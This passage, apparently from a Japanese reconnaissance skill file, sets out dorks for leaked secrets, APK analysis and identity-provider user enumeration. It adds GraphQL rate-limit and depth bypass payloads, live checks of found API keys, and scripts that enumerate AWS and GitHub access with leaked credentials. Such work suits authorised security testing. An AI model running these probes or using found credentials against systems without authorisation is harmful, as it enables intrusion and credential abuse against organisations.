site:{domain} ("SWIFT" OR "BIC" OR IBAN OR "wire transfer")
# Gov / public sector
site:{domain} (filetype:pdf OR filetype:doc) (FOUO OR "controlled unclassified" OR CUI)
site:{domain} (filetype:pdf OR filetype:xlsx) ("personnel security" OR clearance)
18.10 結果の分類
実行後、URL の特徴 → タイトルのヒント → スニペットの正規表現の順に各結果を評価します。
- 重大な URL の特徴:
.pem、.p12、.pfx、.keyの各拡張子、id_rsaというファイル名。 - 高リスクの URL の特徴:
/.env、/.git/、データベースダンプ、wp-config.bak、/phpmyadmin、/jenkins、/phpinfo.php。 - 中リスクの URL の特徴:
/admin、/login、/swagger、.log、/backup、.DS_Store。 - スニペットの内容(例:スニペット内でのシークレット正規表現の検出)が URL の特徴を上回るのは、重大度がより高い場合のみです。
- 信頼度:スニペットのみの一致は TENTATIVE です(確認のため、担当者が URL にアクセスする必要があります。detectability=medium をタグ付けしてください)。
19. 対象向け GitHub コード検索 Dork — 13 個
各テンプレートの{target}(acmeのようなルートドメインの語幹)、{domain}(acme.comのような完全なルートドメイン)、必要に応じて{company}(Acme Corporation)を置き換えて適用します。
"{target}" filename:.env
"{target}" filename:.env.example
"{target}" filename:config
"{target}" AWS_ACCESS_KEY_ID
"{target}" AWS_SECRET_ACCESS_KEY
"{target}" password
"{target}" api_key
"{target}" secret
"{target}" authorization: Bearer
"{target}" filename:id_rsa
"{target}" filename:.git-credentials
"{target}" filename:wp-config.php
"@{domain}" password # emails + password context
要件: GitHub の個人用アクセストークン(任意のスコープ。読み取り専用のリポジトリアクセスを持つ Fine-grained PAT を推奨)。トークンごとにレート制限が適用されます。同時実行数は 5 以下にしてください。
各結果に対して:
- GitHub Contents API を使用して、ファイル(または該当する部分)を取得します。
- シークレットカタログ(§17)を実行します。
- シークレットが検出された場合、カタログの重大度を適用した
SECRET_LEAK検出結果として記録します。証拠にはリポジトリ URL、ファイルパス、検出されたシークレット(末尾 4 文字のみを残して切り詰めたもの)を含めます。 - 任意:リポジトリを一時ディレクトリにクローンし、履歴全体をスキャンするために
trufflehog/gitleaksを実行します。
20. エンドポイント関心度スコア — 0~100 の評価基準
分類した各エンドポイント(方法論スキルの§22)に、次の評価基準を適用します。
| シグナル | 点数 | 条件 |
|---|---|---|
| 認証なしの書き込み | +40 | POST/PUT/DELETE/PATCH エンドポイントが、匿名で 200/201/202/204 を返す。 |
| GraphQL イントロスペクションが公開 | +35 | __schema クエリが、匿名で型の一覧全体を返す。 |
| HTTP メソッド改ざんによるバイパス | +30 | OPTIONS により、ドキュメントに記載のないメソッドが判明し、そのメソッドにアクセスできる。 |
| 認証情報付きの Origin 反映 CORS | +25 | Access-Control-Allow-Origin がリクエストの Origin を反映し、かつ Access-Control-Allow-Credentials: true である。 |
| パスに機密性の高いキーワードが含まれる | +20 | パスが次のいずれかに一致する:admin、internal、debug、user、password、token、key、export、upload、backup、config、secret、private、delete、purge、wipe。 |
| エラーにスキーマが漏えい | +20 | レスポンス本文に、スタックトレース、ORM のエラークラス、フレームワークのシグネチャ(例:ActiveRecord::RecordNotFound、org.hibernate.exception.*、django.db.utils.IntegrityError)が含まれる。 |
| URL に API キーが含まれる | +15 | パスまたはクエリ文字列に api_key=、apikey=、token=、access_token= が含まれる。 |
| ワイルドカード CORS | +10 | Access-Control-Allow-Origin: *。 |
| レート制限ヘッダーの欠落 | +10 | RateLimit-* / X-RateLimit-* ヘッダーがなく、リクエストを短時間に連続して送信した後も Retry-After がない。 |
しきい値:
| スコア | 深刻度 |
|---|---|
| ≥ 90 | 重大 |
| 70–89 | 高 |
| 50–69 | 中 |
| 25–49 | 低 |
| < 25 | 情報 |
スコアが 70 以上の場合、証拠に attack_path_hint を添付します(§29 を参照)。
21. モバイルアプリ所有者の確信度 — 0~100 の評価基準
APK の詳細な静的解析を実行する前に、検出したアプリが実際に対象に属するかをスコアで評価します。しきい値:70 以上 = 採用。
| シグナル | 点数 |
|---|---|
パッケージの逆 DNS 名が対象ドメインと一致する(例:com.acme.android ⟂ acme.com) | +40 |
開発者のメールアドレスが <anything>@<target-domain> である | +25 |
| 開発者のウェブサイト URL が対象ドメイン(または対象であることを確認済みの関連ブランドのドメイン)である | +20 |
| アプリ名に、オペレーターから提供されたブランド一覧のブランドキーワードが含まれる | +10 |
| アプリのレビュー数が最低しきい値以上である(デフォルトは 20 件) | +5 |
しきい値未満のアプリには mobile_review_pending のタグが付けられ、表示はされますが解析されません。ノイズの多い収集では、オペレーターが --mobile-ownership-threshold 50 を指定して再スコアリングできます。
21.1 APK 静的解析パイプライン
アプリが§21 の所有者判定を通過したら、このパイプラインを実行します。パッシブな静的解析のみです。Frida/エミュレーターによる計測、実稼働中のバックエンドに対するアプリの実行、キャプチャしたアプリの通信の再生は行いません。漏えいしたシークレットが有効であることの確認には§23 の読み取り専用バリデーターを使用し、オープンなクラウドの公開範囲(Firebase、S3、GCS)の確認には§16.8/§16.17 を使用します。これらは個別の明示的な手順であり、意図的にこのパスには含めていません。
A. 取得
| ソース | 方法 | 備考 |
|---|---|---|
| Google Play | メタデータには pip install google-play-scraper(§46.9)を使用 | Google Play の公開領域ではバイナリ自体は配布されません |
| APKPure | ダウンロードページを HTML スクレイピングし、.apk リンクを抽出 | ログイン不要。レート制限に配慮した、主要な自動化可能ソース |
| APKMirror | ブラウザーで手動ダウンロード | APKPure より自動化対策が強いため、フォールバックのみ |
| iOS IPA | オペレーターが提供し、ローカルの ipa_uploads/ ディレクトリに配置 | .ipa を自動ダウンロードすることはありません(DMCA への対応方針)。オペレーターがスコープ内で保有している場合は、その場で解析します |
curl -s "https://apkpure.net/$(echo com.acme.android | tr . -)/com.acme.android/download" \
| grep -oE 'https://[^"]+\.apk[^"]*' | head -1
B. 逆コンパイルのツールチェーン
# apktool — resources + manifest to readable XML (not raw AXML)
apktool d app.apk -o out/
# aapt2 (Android SDK build-tools) — manifest dump without full unpack
aapt2 dump badging app.apk
aapt2 dump xmltree app.apk --file AndroidManifest.xml
# jadx — Java source recovery from classes.dex (for logic review, not just strings)
jadx -d out_src/ app.apk
Windows:apktool.bat。aapt2.exe は %LOCALAPPDATA%\Android\Sdk\build-tools\<ver>\aapt2.exe にあります(Android Studio の SDK Manager、または sdkmanager --install "build-tools;34.0.0" でインストール)。jadx.bat はポータブル版 jadx の zip から使用するか、対話型レビューには jadx-gui.exe を使用します。
ツールチェーンを使わない代替手段 — 純粋な Python を使います。参照実装の mobile_attack_surface.py 自体が採用している方法です(apktool/jadx への依存なし)。
pip install androguard
from androguard.core.apk import APK
a = APK("app.apk")
print(a.get_package(), a.get_effective_target_sdk_version())
print(a.get_permissions())
manifest_xml = a.get_android_manifest_axml().get_xml() # decoded AndroidManifest.xml
C. AndroidManifest.xml の解析
- エクスポートされるコンポーネントのテスト(手動レビューで見落とされやすい重要点):
android:exported="true"またはexportedが未設定で、かつ<intent-filter>を宣言している場合、そのコンポーネントは実質的にエクスポートされています。exported="true"だけを grep しないでください。 <application>のandroid:debuggable="true"— 本番環境でデバッグ可能な状態です。android:allowBackup— 属性がまったくない場合、デフォルト値は"true"です。 ほとんどのマニフェストでは設定されていないため、属性がないことはリスクがないことを意味しません。android:usesCleartextTraffic— 明示的な"true"は、アプリ全体で暗号化されていない HTTP を許可します(API ≥28 ではデフォルトがfalseのため、明示的な"true"は意図的な上書きであり、より重く指摘すべきです)。- カスタム
<permission>宣言 —android:protectionLevelを確認します。normalまたはdangerousの場合、インストール済みの任意のアプリがその権限を取得できます(エクスポートされたコンポーネントへの IPC を保護する機密性の高いカスタム権限はsignatureにする必要があります)。 <application>のandroid:networkSecurityConfig参照 — 下記のステップ G に進みます。
D. ディープリンク/インテントフィルターの抽出
すべての activity/activity-alias/service/receiver を調べ、<intent-filter><data android:scheme=… android:host=…/></intent-filter> を探します。各 scheme://host ペアについて、以下を確認します。
- コンポーネント名またはホストに
auth、token、reset、callback、oauth、sso、loginが含まれるハンドラーにフラグを付けます。これらは攻撃に利用する価値のあるディープリンクです(攻撃者が制御するクエリパラメーターが認証/トークンのフローに到達します)。 - App Links(
https://スキーム +android:autoVerify="true"+ ホスト上に一致する.well-known/assetlinks.jsonがある)と、カスタムスキーム(myapp://)を区別します。同じスキームを登録した別のアプリに乗っ取られる可能性があるのはカスタムスキームだけです。App Links は OS によってドメインが検証されます。
E. Firebase/GCP 設定の抽出
google-services.json→project_info.project_idと、すべてのclient[].api_key[].current_key(プロジェクトのデフォルト Google API キー。過剰なスコープが設定されていることがよくあります)。GoogleService-Info.plist(iOS バンドル)→PROJECT_ID、API_KEY、GCM_SENDER_ID。- ここでの抽出はAPK の読み取りのみです。参照実装独自のパイプラインはさらに一歩進み、抽出した
project_idを正規の Firebase エンドポイント(RTDB/.json、Firestore、Storage の一覧取得)に対してプローブします。これはライブバックエンドのチェックであり、静的解析ではありません。この処理をこのパスに暗黙的に含めず、§16.8 のクラウドバケット形式のワークフローを使って、独立した明示的なステップとして実行してください。
F. 埋め込みシークレット — §17 を再利用
すべてのテキストデータを抽出し、scripts/secret_scan.py(§48)または §17 の元の表に通します。
# Unpack once, scan everything under it in one pass
unzip -o app.apk -d out/
python3 scripts/secret_scan.py out/
# Strings out of native libs (classes.dex string-pool is already covered by
# apktool's baksmali output / jadx's decompiled source under out_src/)
find out/lib -name '*.so' -exec strings {} \; | python3 scripts/secret_scan.py
# assets/ specifically — bundled credential files, not just string hits
find out/assets -type f \( -iname '*.pem' -o -iname '*.p12' -o -iname '*.jks' \
-o -iname '*.keystore' -o -iname '*.env' -o -iname 'google-services.json' \)
FCM Server Key(§17 #80)と GCP/Firebase 関連(§17 #4、#5、#67–69)は、ここで検出される可能性が最も高い項目です。これらは、まさにモバイル調査のコンテキスト向けに追加されたものです。
G. Network Security Config
マニフェストの android:networkSecurityConfig 属性(ステップ C で記録)から参照される res/xml/<name>.xml。参照実装独自のパイプラインは、ピンニングの指標として参照先を記録するところで止まり、このファイルは解析しません。手動で(ステップ B の apktool/aapt2 の出力から)取得し、以下を確認します。
<base-config>レベルのcleartextTrafficPermitted="true"— 対象ドメインについて、マニフェストのusesCleartextTraffic="false"属性を上書きします。<trust-anchors><certificates src="user"/></trust-anchors>— ユーザーがインストールした CA を受け入れるため、回避策なしでプロキシ CA(Burp/mitmproxy)が信頼されます。これは、実際に「ピンニングされているはずなのに、されていない」アプリで最もよく見られる理由です。ピンセットは宣言されていても、寛容な信頼アンカーが MITM プロキシを通してしまいます。テスト向けビルドが誤って本番環境にリリースされた場合に起こります。<pin-set>エントリー —expirationの日付を確認します。ピンセットは期限切れになると、警告なしに適用されなくなります。
H. 検出事項と重大度
| 検出事項 | 深刻度 |
|---|---|
android:debuggable="true" | 重大 |
| 埋め込みシークレット(§17 のカタログに基づく深刻度) | §17 に準拠 |
| 機密性の高いディープリンクハンドラー(auth/token/reset キーワード) | 高 |
android:allowBackup="true"(未設定/デフォルトを含む) | 中 |
android:usesCleartextTraffic="true" | 中 |
| 保護されていないエクスポートコンポーネント(権限なし) | 中 |
| 高リスク権限の保持(RECORD_AUDIO、READ_SMS、BIND_ACCESSIBILITY_SERVICE など) | 中 |
| その他の機密性の高い権限 | 低 |
| 証明書ピンニングなし/許容的なユーザー信頼アンカー | 低 |
各行の詳細な実例と根拠は§40(「android」/「deep-link」/「exported」を検索)にあります。この表はクイックリファレンスで、§40 は詳しい解説です。
相互参照: §21(まず所有権ゲートを実行してください。無関係なアプリを詳細に分析してはいけません)、§17/§48(シークレットカタログとスキャナーを、逆コンパイルしたテキストにもそのまま適用)、§23(ここで抽出したもののうち実稼働中に見えるものには読み取り専用バリデーターを使用)、§40(深刻度の詳細な実例)、§46.9(ツールのインストールコマンド)。
22. ID 基盤 — 具体的なエンドポイント
手法は付属の osint-methodology スキル §11 に記載されています。ここでは URL とペイロードを参照します。
22.1 Microsoft Entra(Azure AD)
OIDC メタデータとテナント GUID の抽出:
GET https://login.microsoftonline.com/{tenant-or-domain}/.well-known/openid-configuration
応答フィールド issuer にテナント GUID が含まれています。GUID の正規表現:
\b[0-9a-fA-F]{8}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{4}-[0-9a-fA-F]{12}\b
検出可能性:低。
getuserrealm.srf — マネージドとフェデレーションのプローブ:
GET https://login.microsoftonline.com/getuserrealm.srf?login=<probe-user>@<domain>
応答は NameSpaceType フィールド(Managed/Federated/Unknown)を含む JSON です。フェデレーションの場合は、FederationBrandName と AuthURL(上流の IdP URL)も含まれます。検出可能性:低。
Autodiscover v2:
POST https://autodiscover-s.outlook.com/autodiscover/metadata/json/1
Body: {"Email": "<probe-user>@<domain>"}
ユーザーのプロトコルエンドポイントを返します。これが存在する場合、テナントへの所属を示します。検出可能性:低。
Autodiscover の IP 相関(パッシブな M365 確認):
autodiscover.<domain> を解決し、Microsoft Exchange Online の IP 空間に到達するか確認します。MX のみでは基盤のメールプラットフォームが判別できない、Mimecast/Proofpoint/Barracuda によるインバウンドフィルタリングで MX がラップされている場合でも有効です。
dig +short A autodiscover.target.example
Resolve-DnsName "autodiscover.$D" -Type A | Select Name,IPAddress
Microsoft Exchange Online の IP(よくある範囲の一部):40.96.0.0/13、52.96.0.0/14、13.107.6.152/31、13.107.18.10/31、40.99.0.0/16、40.104.0.0/15、52.98.0.0/15。全リスト:Office 365 の URL と IP アドレス範囲。
autodiscover.<domain> がこの IP 空間に到達する場合、ほかに何も確認できなくても M365_CONFIRMED となります。検出可能性:低(パッシブ DNS)。
GetCredentialType — ユーザー列挙(ディープモードのみ):
POST https://login.microsoftonline.com/common/GetCredentialType
Content-Type: application/json
Body:
{
"username": "<email>",
"isOtherIdpSupported": true,
"checkPhones": false,
"isRemoteNGCSupported": true,
"isCookieBannerShown": false,
"isFidoSupported": true,
"originalRequest": "",
"country": "US",
"forceotclogin": false,
"isExternalFederationDisallowed": false,
"isRemoteConnectSupported": false,
"federationFlags": 0
}
応答フィールド IfExistsResult はユーザーの存在を示します。0 = 存在する、1 = 存在しない、5 = フェデレーションテナントに存在する。検出可能性:中(テナント監査ログに記録)。テナントあたり最大 20 回に制限してください。
22.2 Okta
組織スラッグの導出: 検出されたサブドメインとルートドメインから得た語幹を使って開始します。<slug>.okta.com と <slug>.oktapreview.com をプローブします。スラッグの正規表現:
[a-z0-9][a-z0-9-]{1,40}\.okta(?:preview)?\.com
OIDC フィンガープリント:
GET https://<slug>.okta.com/.well-known/openid-configuration
/api/v1/authn によるユーザー列挙(ディープモード):
POST https://<slug>.okta.com/api/v1/authn
Content-Type: application/json
Body: {"username": "<email>", "password": "invalid_password_for_enum"}
応答によってユーザーの存在を判別できます。
400とerrorCode: E0000004→ ユーザーが存在しない(または一部の設定では一般的なパスワードエラー)。401とstatus: PASSWORD_WARN/LOCKED_OUT/MFA_REQUIRED→ ユーザーが存在する。 検出可能性:中(試行ごとに監査ログへ記録)。テナントあたり最大 20 回に制限してください。
22.3 ADFS
パッシブフィンガープリント:
GET https://{domain}/adfs/idpinitiatedsignon.aspx
HTML 内に urn:com:microsoft:ADFS: 参照を含む 200 OK は、ADFS を示します。HTML のリソース参照からバージョン文字列を grep で検索できます。
Mex エンドポイント(ディープモード):
GET https://{domain}/adfs/Services/Trust/mex
エンドポイント URL、署名証明書、サポートされるクレームタイプを含む SOAP フェデレーションメタデータを返します。
22.4 Google Workspace
OIDC ディスカバリー:
GET https://{domain}/.well-known/openid-configuration
Google Workspace ホストドメインの顧客は、特徴的な issuer URI(https://accounts.google.com)と JWKS URI を含むディスカバリーエンドポイントを公開します。aspmx.l.google.com を指す MX レコードは、裏付けとなるシグナルです。
22.5 汎用 OIDC(Keycloak / Auth0 / Ping / OneLogin / Duo)
検出: 稼働中のすべてのサブドメインで /.well-known/openid-configuration を調べます。issuer と authorization_endpoint フィールドの URL から製品を特定できます。
| 製品 | issuer 内の URL パターン |
|---|---|
| Auth0 | https://*.auth0.com |
| OneLogin | https://*.onelogin.com |
| Ping | https://*.pingone.com、https://*.pingidentity.com |
| Duo | https://*.duosecurity.com |
| Keycloak | URL に /realms/<realm> を含む |
| OneLogin | https://*.onelogin.com |
22.6 SAML メタデータ
§16.6 を参照してください。
22.7 AWS アカウント ID の抽出
S3 バケットのリージョンヘッダー(受動的):
HEAD https://<known-bucket>.s3.amazonaws.com/
レスポンスには x-amz-bucket-region が含まれます。バケット名のエントロピーと既知のパターンを照合し、アカウントの範囲を絞り込みます。
ARN 正規表現(任意の JSON / HTML / JS レスポンス内):
arn:aws:[a-z0-9\-]+:[a-z0-9\-]*:([0-9]{12}):
キャプチャグループ:12 桁の AWS アカウント ID。
AccountId プロパティのパターン:
(?i)["']?account[_\-]?id["']?\s*[:=]\s*["']([0-9]{12})["']
Google OAuth の client_id:
\b\d{8,}-[a-z0-9]{10,40}\.apps\.googleusercontent\.com\b
MSAL / Microsoft の client_id(GUID プロパティ):
(?i)["']?client[_\-]?id["']?\s*[:=]\s*["']([0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12})["']
OAuth スコープの抽出:
(?i)["']?scope["']?\s*[:=]\s*["']([^"']+)["']
22.8 Microsoft 365 の詳細な列挙(Teams / SharePoint / OneDrive / OAuth)
Teams のフェデレーション状態:
# Resolve tenant first
curl -sk -m 10 "https://login.microsoftonline.com/${TARGET_DOMAIN}/.well-known/openid-configuration" | jq -r '.issuer'
# Federation API requires authenticated request from a federated tenant; presence of error pattern reveals fed status
curl -sk -m 10 "https://teams.microsoft.com/api/mt/emea/beta/users/<email>/externalsearchv3"
SharePoint サブドメインの調査:
STEM=$(echo $TARGET_DOMAIN | cut -d. -f1)
for sub in "" "-my" "-admin"; do
echo "=== ${STEM}${sub}.sharepoint.com ==="
curl -sk -m 10 -I "https://${STEM}${sub}.sharepoint.com/" -w '%{http_code}\n'
done
結果を正しく読み取る: これらの調査で HTTP 200 が返る場合、テナントが存在することを意味します(Microsoft は認証ページへの汎用リダイレクトを返します)。テナントのコンテンツへの匿名アクセスが許可されていることを意味するものではありません。次のように区別します。
- 200 → テナントがプロビジョニング済み(情報)。
- 200 + カスタムの匿名共有 URL へのリダイレクト(dork で発見した
/sites/<x>/Lists/<y>/AllItems.aspx?guestaccesstoken=...)→ 高(データ漏えい)。 - 401/403 → テナントは存在するが、認証が必要(情報)。
- 404 / NXDOMAIN → この stem ではテナントがプロビジョニングされていない(または独自ドメイン名が使われている — 証明書の透明性ログから既知の stem を確認してください)。
PowerShell:
$STEM = ($D -split '\.')[0]
foreach ($s in @("","-my","-admin")) {
try {
$r = Invoke-WebRequest -Uri "https://${STEM}${s}.sharepoint.com/" -Method Head -UseBasicParsing -TimeoutSec 10
"${STEM}${s}.sharepoint.com -> HTTP $($r.StatusCode) (tenant exists)"
} catch {
$code = $_.Exception.Response.StatusCode.value__
if ($code) { "${STEM}${s}.sharepoint.com -> HTTP $code" } else { "${STEM}${s}.sharepoint.com -> no host" }
}
}
OneDrive 個人用サイトの調査(既知のメールアドレス [email protected] を使用):
USER_TOKEN=$(echo "[email protected]" | tr '@.' '__')
STEM="acme"
curl -sk -m 10 -I "https://${STEM}-my.sharepoint.com/personal/${USER_TOKEN}/Documents/" -w '%{http_code}\n'
# 401 = exists; 404 = not provisioned
JS 内の M365 OAuth client_id の検出:
curl -sk -m 10 "https://app.target.example/main.js" | \
grep -oE 'clientId["'\''[:=]+ ?["'\'']?[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}'
デバイスコードフィッシングの標的確認(OIDC メタデータ内の device_authorization_endpoint を確認):
curl -sk -m 10 "https://login.microsoftonline.com/${TARGET_DOMAIN}/v2.0/.well-known/openid-configuration" | \
jq '.device_authorization_endpoint'
値が null ではなく、テナントでデバイスコードが制限されていない場合:中(デバイスコードフィッシングが可能)。
確認する Power Platform / Dynamics の URL:
*.crm.dynamics.com(リージョンごと:crm、crm2-crm15、crm.dynamics.com)。*.api.crm.dynamics.com(Web API)。make.powerapps.com/flow.microsoft.com(認証が必要なダッシュボード)。
深刻度:
- SharePoint / OneDrive テナントを発見 → 情報(アセットのみ)。
- SharePoint の匿名共有リンク → 高(データ漏えい)。
- テナントで
device_authorization_endpointが有効 → 中(運用上のリスク)。 - 対象が公開している、広範な Graph スコープを持つマルチテナント OAuth アプリ → 高。
22.9 GraphQL フィールド提案による列挙(イントロスペクションが無効な場合)
標準のイントロスペクションクエリ(§16.2)が "errors":[{"message":"GraphQL introspection is disabled"}] を返した場合は、フィールド提案による列挙に切り替えます。Apollo およびほとんどの GraphQL ライブラリでは、デフォルトで「もしかして」の提案が有効になっています。
検出プローブ:
curl -sk -m 10 -X POST "$T/graphql" \
-H 'Content-Type: application/json' \
-d '{"query":"{ __schema { types { name } } }"}' | jq -r '.errors[0].message'
# If "introspection disabled" → proceed.
フィールド提案プローブ(提案を引き出すため、意図的にフィールド名を誤記します):
curl -sk -m 10 -X POST "$T/graphql" \
-H 'Content-Type: application/json' \
-d '{"query":"{ usre { id } }"}' | jq -r '.errors[].message'
# Expected: "Cannot query field \"usre\" on type \"Query\". Did you mean \"user\", \"users\", \"userById\"?"
候補フィールドのワードリスト(SecLists の Discovery/Web-Content/graphql.txt または clairvoyance ライブラリのシードリストを使用)を順に試します。各提案から実際のフィールド名がわかります。新しい提案が出なくなるまで続けます。
ツール:
- Clairvoyance(
pip install clairvoyance)— フィールド提案を自動列挙します。clairvoyance -w wordlist.txt -o schema.json https://target.example/graphql。 - GraphQL-Cop — イントロスペクション、バッチ処理、深度制限、提案設定を調べる監査ツールです。
pip install graphql-cop。 - InQL(Burp 拡張機能)— GraphQL エンドポイントを分析する Burp Suite 拡張機能です。
- GraphQL Voyager — スキーマを再構築した後に可視化します。
イントロスペクションが無効な場合に使用できるその他の GraphQL テクニック:
-
エイリアスベースのクエリバッチ処理(レート制限/認証バイパスの攻撃対象):
{ "query": "{ a:user(id:1){name} b:user(id:2){name} c:user(id:3){name} ... }" }多くの API では、エイリアスごとではなくリクエストごとにレート制限を行います。1 回のリクエストで 100 個以上のエイリアスを試します。
-
クエリ深度制限のバイパス(DoS/イントロスペクションバイパス):
{ "query": "{ user { friends { friends { friends { friends { id } } } } } }" }サーバーが任意の深度を許可する場合は DoS の攻撃対象になります。深度が制限されていても、ネストされた
__type/__schemaが除去されない場合は、深度を利用したイントロスペクションが可能です。 -
WebSocket 経由のサブスクリプション列挙:
wscat -c "wss://target.example/graphql" -s graphql-ws > {"type":"connection_init"} > {"id":"1","type":"start","payload":{"query":"subscription { __schema { types { name } } }"}} -
バッチクエリによるバイパス(最初のクエリが失敗しても、バッチ内のすべてのクエリを処理するサーバーがあります):
[ {"query":"{ __schema { types { name } } }"}, {"query":"{ user(id:1) { name } }"} ]
重大度:
- フィールド提案による列挙に成功(50 個以上のフィールドを復元可能)→ MEDIUM
MISCONFIG。 - エイリアスのバッチ処理にレート制限がない → MEDIUM(レート制限バイパスの攻撃対象)。
- 認証なしでサブスクリプションエンドポイントにアクセス可能 → MEDIUM(リアルタイムデータの持ち出しに使われることがよくあります)。
23. 読み取り専用のシークレット検証ツール
検出した認証情報が有効かどうかの確認に使用します。読み取り専用で、破壊的な操作は行いません。 すべての検証に detectability と checked_at(UTC)を付与します。
23.1 Postman API キー(PMAK-*)
検出用正規表現:§17 #49(\bPMAK-[A-Za-z0-9]{24,64}\b、CRITICAL)。検出したキーは、次の方法で検証します。
GET https://api.getpostman.com/me
Header: X-Api-Key: PMAK-<key>
200→ 有効。レスポンスには{user: {id, username, email}}が含まれます。401→ 無効。- スコープ:ユーザーの Postman アカウントへの読み取りアクセス全般(コレクション、環境変数、履歴)。
- 検出可能性:低。
23.2 AWS アクセスキー
sts:GetCallerIdentity
boto3 を使用します。
import boto3
sts = boto3.client('sts',
aws_access_key_id='<AKIA...>',
aws_secret_access_key='<secret>',
region_name='us-east-1')
ident = sts.get_caller_identity()
# ident['Account'], ident['Arn'], ident['UserId']
- 有効 → アカウント ID、ARN、UserId が返されます。
- 無効 →
InvalidClientTokenIdまたはSignatureDoesNotMatch。 - ARN のスコープ:
:user/は IAM ユーザー(広範)、:assumed-role/は一時ロール(限定的)、:rootはアカウントのルート(見つけたルートキーは絶対に検証しないでください)。 - 検出可能性:中(CloudTrail にアカウント
<found>でのGetCallerIdentityが記録されます)。
23.3 GitHub PAT
GET https://api.github.com/user
Header: Authorization: token <ghp_*>
200→ 有効。レスポンスにはlogin、id、name、email(公開されている場合)が含まれます。- レスポンスヘッダー
X-OAuth-Scopesにトークンのスコープが一覧表示されます。repoスコープはアクセス可能なすべてのリポジトリへの書き込み権限、admin:orgは組織の管理者権限を意味します。 401→ 無効。- 検出可能性:低。
23.4 Slack トークン
POST https://slack.com/api/auth.test
Header: Authorization: Bearer <xox*-*>
{"ok": true}を伴う200→ 有効。レスポンスにはteam、team_id、user、user_idが含まれます。{"ok": false, "error": "invalid_auth"}を伴う200→ 無効。- 検出可能性:低。
23.5 Anthropic API キー
GET https://api.anthropic.com/v1/models
Headers:
x-api-key: sk-ant-api03-...
anthropic-version: 2023-06-01
200→ 有効。利用可能なモデルが一覧表示されます。401→ 無効。org_disabledを伴う403→ キーは有効ですが、組織が無効になっています。- 検出可能性:低。使用状況はワークスペース所有者の Anthropic Console に表示されます。
23.6 OpenAI API キー
GET https://api.openai.com/v1/models
Header: Authorization: Bearer sk-...
200→ 有効。モデルが一覧表示されます(組織固有のファインチューニングモデルが含まれることがあります)。401→ 無効。429→ 有効ですが、クォータを使い切っています。- 検出可能性:低。使用状況は OpenAI ダッシュボードに表示されます。
23.7 npm トークン
GET https://registry.npmjs.org/-/whoami
Header: Authorization: Bearer npm_<token>
200で{"username": "<user>"}が返る → 有効です。401→ 無効です。- スコープの確認:
GET /-/npm/v1/tokensはトークンの権限(読み取り/公開)を返します。 - 検出可能性:低。
23.8 Atlassian API トークン
GET https://<workspace>.atlassian.net/rest/api/3/myself
Auth: Basic <base64(email:ATATT3xFfGF0_...)>
200→ 有効です。アカウントのプロフィールとメールアドレスが返ります。401→ 無効です。- ワークスペースが必要です。漏えいしたリポジトリの URL または Atlassian の検索結果から抽出してください。
- 検出可能性:低。
23.9 DataDog API キー + APP キー
GET https://api.datadoghq.com/api/v1/validate
Headers:
DD-API-KEY: <api-key>
DD-APPLICATION-KEY: <app-key>
200→ 両方のキーが有効です。403→ どちらかのキーが無効です。- リージョンごとに URL が異なります:
api.datadoghq.eu、api.us3.datadoghq.comなど。 - 検出可能性:低。DataDog の監査ログに記録されます。
23.10 バリデーターの出力スキーマ
{
"status": "verified_live" | "verified_dead" | "scope_restricted" |
"scope_unrestricted" | "validation_skipped_by_policy" |
"validation_unsupported" | "validation_failed_transient",
"provider": "postman" | "aws" | "github" | "slack" | "anthropic" | "openai" | "npm" | "atlassian" | "datadog",
"account_id": "<opaque>",
"scope": "<freeform>",
"metadata": {<provider-specific>},
"checked_at": "<UTC ISO8601>",
"detectability": "low" | "medium" | "high"
}
23.11 厳守事項
- 読み取り専用エンドポイントのみを使用してください。
- 検証済みの認証情報を使って、何かを作成、変更、削除、または送信してはいけません。
- 検証ごとに検出可能性をタグ付けしてください。
checked_at(UTC)を記録してください。- RoE で検証が禁止されている場合は、
validation_skipped_by_policyとして停止し、記録してください。 - AWS のルートキー、インフラストラクチャへの書き込み権限を持つ GitHub PAT、または Slack の管理者トークンについては、オペレーターに報告し、判断を委ねてください。
23.12 発見後の列挙ワークフロー
検証によってキーが有効だと確認されたら、そのキーで何ができるかを列挙したい場合がよくあります。読み取り専用に徹してください。
AWS アクセスキー — IAM の列挙:
export AWS_ACCESS_KEY_ID="AKIA..."
export AWS_SECRET_ACCESS_KEY="..."
# Identity (already done as part of validation)
aws sts get-caller-identity
# IAM-user details (only if ARN was :user/)
aws iam get-user
aws iam list-attached-user-policies --user-name $(aws iam get-user --query 'User.UserName' --output text)
aws iam list-user-policies --user-name $(aws iam get-user --query 'User.UserName' --output text)
aws iam list-groups-for-user --user-name $(aws iam get-user --query 'User.UserName' --output text)
# What can I actually do? (simulate-principal-policy for common dangerous actions)
aws iam simulate-principal-policy \
--policy-source-arn $(aws sts get-caller-identity --query Arn --output text) \
--action-names s3:ListAllMyBuckets ec2:DescribeInstances iam:ListUsers \
secretsmanager:ListSecrets ssm:DescribeParameters \
lambda:ListFunctions rds:DescribeDBInstances
# Read-only enumeration of common services (do not WRITE)
aws s3 ls
aws ec2 describe-instances --output table --query 'Reservations[*].Instances[*].[InstanceId,State.Name,Tags[?Key==`Name`].Value]'
aws secretsmanager list-secrets --query 'SecretList[*].Name'
aws ssm describe-parameters --query 'Parameters[*].Name'
aws lambda list-functions --query 'Functions[*].FunctionName'
aws rds describe-db-instances --query 'DBInstances[*].DBInstanceIdentifier'
# CloudTrail check — is logging on?
aws cloudtrail describe-trails
# Check MFA enforcement on the user
aws iam get-account-summary | jq '.SummaryMap.AccountMFAEnabled'
aws iam list-mfa-devices --user-name <username>
GitHub PAT — リポジトリの列挙:
TOKEN="ghp_..."
H="Authorization: token $TOKEN"
# Scopes already captured from X-OAuth-Scopes header
curl -sk -m 10 -I -H "$H" https://api.github.com/user | grep -i 'X-OAuth-Scopes'
# All repos accessible (own + collaborator + org member)
curl -sk -m 10 -H "$H" "https://api.github.com/user/repos?affiliation=owner,collaborator,organization_member&per_page=100"
# Org memberships
curl -sk -m 10 -H "$H" "https://api.github.com/user/orgs"
# Per-org: members, repos, secrets (secrets endpoint is metadata-only — names not values)
ORG="<orgname>"
curl -sk -m 10 -H "$H" "https://api.github.com/orgs/$ORG/members"
curl -sk -m 10 -H "$H" "https://api.github.com/orgs/$ORG/repos?per_page=100"
